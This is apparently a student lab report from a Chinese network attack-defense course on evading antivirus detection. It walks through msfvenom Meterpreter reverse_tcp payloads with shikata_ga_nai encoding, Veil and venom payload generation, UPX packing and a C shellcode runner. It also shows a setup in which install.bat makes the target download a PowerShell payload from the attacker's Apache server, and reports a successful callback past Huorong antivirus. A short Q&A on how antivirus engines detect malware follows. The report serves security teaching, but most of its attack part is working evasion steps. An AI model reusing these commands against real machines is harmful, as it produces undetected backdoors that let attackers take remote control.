2019-2020 网络对抗技术 20175207 Exp3 免杀原理与实践
目录
实践内容
裸奔的后门程序
在线检测:Virus Total www.virustotal.com
在正式开始实验之前,我们先看一下没有做免杀的后门程序在各个杀毒引擎面前的表现
方法
MSF编码器编码
- 编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.137.130 LPORT=8888 -f exe > met-encoded.exe
检测met-encoded.exe
,结果没什么变化
- 编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.137.130 LPORT=8888 -f exe > met-encoded.exe
检测met-encoded.exe
,结果依旧没什么变化
- 原因
因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,AV厂商盯住这部分就可以了。而且,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
msfvenom生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 x> backdoor_java.jar
检测backdoor_java.jar
,结果不错
veil
常规方法:apt-get install veil-evasion
,不过我尝试了很久很久也没成功,没耐心继续搞了,就换了种方法。惊喜的发现veil的docker镜像。😮(❤ ω ❤)
- 安装docker:
apt-get install docker docker-compose
- 添加国内镜像源:
vi /etc/docker/daemon.json
{
"registry-mirrors": [
"https://1nj0zren.mirror.aliyuncs.com",
"https://docker.mirrors.ustc.edu.cn",
"http://f1361db2.m.daocloud.io",
"https://registry.docker-cn.com"
]
}
- 重启docker服务:
systemctl daemon-reload
systemctl restart docker
- 拉取veil镜像:
docker pull mattiasohlsson/veil
- 执行:
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
-v /tmp/veil-output:/var/lib/veil/output:Z
是将宿主机的/tmp/veil-output
目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用,生成的文件会保存到这个目录下
- 选择evasion:
use 1
veil有两个免杀的工具,Evasion和Ordnance。Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。 - 查看可用的payload:
list
- 随便选择一个:
use 16
- 设置IP:
set LHOST 192.168.137.130
- 设置端口:
set LPORT 8888
- 生成程序文件:
generate
- 输入程序名字:
goVeil
我们之前做过映射了,所以生成的程序保存在宿主机tmp/veil-output/compiled/
目录
检测goVeil.exe
,结果还凑合
加壳工具
- 加压缩壳(UPX):
upx goVeil.exe -o goVeil_upx.exe
检测goVeil_upx.exe
,结果好了一点
使用C + shellcode编程
- 用Msfvenom生成c语言的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.137.130 lport=8888 -f c -o shell.c
- 把shell.c中的shellcode内容拷贝到下面的buf[]后面
使用强制类型转换
#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main()
{
((void(WINAPI*)(void))&buf)();
}
生成的代码用VS编译,输出为shell.exe
检测shell.exe
,结果不错
其他方法:利用venom生成免杀木马
-
克隆:
git clone https://github.com/r00t-3xp10it/venom.git
-
安装:
cd venom/aux
sudo ./setup.sh
-
运行:
sudo ./venom.sh
第一次运行时可能会缺少一些必备的零件,根据提示安装就可以了
-
选择你的目标操作系统、攻击模块等。这里以windows为例
- Chose Categorie number:
2
- Chose Agent number:
1
我们选择第1个攻击模块
AEGNT N°1:
| TARGET SYSTEMS : Windows #目标系统
| SHELLCODE FORMAT : C(uuid obfuscation) #编码语言
| AGENT EXTENSION : DLL|CPL #生成文件
| AGENT EXECUTION : rundll32.exe agent.dll,main | press to exec (cpl) #触发
| DETECTION RATIO : https://goo.gl/NKVLzj #检测比率 - ip:
192.168.137.130
弹框显示,可以根据example输入 - port:
666
弹框显示,可以根据example输入 - SELECTCODE GENERATOR:
windows/meterpreter/reverse_tcp
弹框显示,选择对应选项 - PAYLOAD NAME:
venom1
生成的文件名
检测venom1.dll
,结果不错
- Chose Categorie number:
通过组合应用各种技术实现恶意代码免杀
venom + metasploit + apache服务
- venom的步骤与上面相似,攻击模块我们这次选择
10
- venom会自动打开metadploit
- 生成
install.bat
和venom10.ps1
- 将
install.bat
传输到被测主机,火绒没有拦截 - 开启kali的apache服务:
service apache2 start
- 将
venom_10.ps1
放到/var/wwww
目录下 - 被测主机登录
192.168.137.130
(kali的ip),可以看到kali的/var/www
目录下的文件,并可以点击下载,install.bat
的目的就是使被测主机通过PowerShell从网页下载venom10.ps1
文件 - 运行
install.bat
,火绒出现警告
检测install.bat
,结果很不错😀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
被测主机:Win10
杀软:火绒5.0.41.5
问题回答
杀软是如何检测出恶意代码的?
- 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。杀毒是提取文件一段特征码来识别病毒文件。
模糊哈希算法又叫基于内容分割的分片分片哈希算法(context triggered piecewise hashing, CTPH),主要用于文件的相似性比较。
- 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读,例如注册表操作、添加启动项、添加服务,文件写入、读系统文件、删除文件、移动文件,杀进程,创建进程,注入、劫持等。说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。
免杀是做什么?
百度百科:
免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-> > AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
免杀的基本方法有哪些?
- 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
- 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
开启杀软能绝对防止电脑中恶意代码吗?
- 不能,本次实验就是最好的解释。🤔
实践总结与体会
不管是venom还是veil都有很多攻击模块,也有许多组合用法,需要我们不断尝试继续探索。要想得到一个自己满意的免杀程序,还需要对免杀原理更加了解,尝试自己编写shellcode。此外,还可以尝试生成多种类型的文件,.dll、.pdf等。😀参考
- 免杀技术有一套(免杀方法大集结) https://www.freebuf.com/column/135314.html
- kali 制作免杀木马(实测绕过360 电脑管家等) https://mp.weixin.qq.com/s/XqrdWKO5YjT1eiiRMotHhg
- 远控免杀从入门到实践(2)工具总结篇 https://www.freebuf.com/articles/system/227462.html
- 远控免杀从入门到实践(3)-代码篇-C/C++ https://www.freebuf.com/articles/system/227463.html
- 远控免杀专题(6)-Venom免杀(VT免杀率11/71) https://cloud.tencent.com/developer/article/1593705
- 【实操教程】如何使用VENOM工具? https://server.zzidc.com/fwqjc/2018/1112/2814.html
- Docker安装以及原理详解 https://blog.csdn.net/linxiyimeng007/article/details/81080223
- 远控免杀专题(5)-Veil免杀(VT免杀率23/71) https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247486009&idx=2&sn=342bf20c70f734249e59b95e0a4fab14&chksm=fc3fb338cb483a2e5c253496c8887ee95d5b98ef0de90250ec3b47dd5d9ee6e09be8a7f55b1a&scene=21#wechat_redirect
- 免杀后门(五):Venom结合Metasploit绕过360(内附视频) http://www.secist.com/archives/2598.html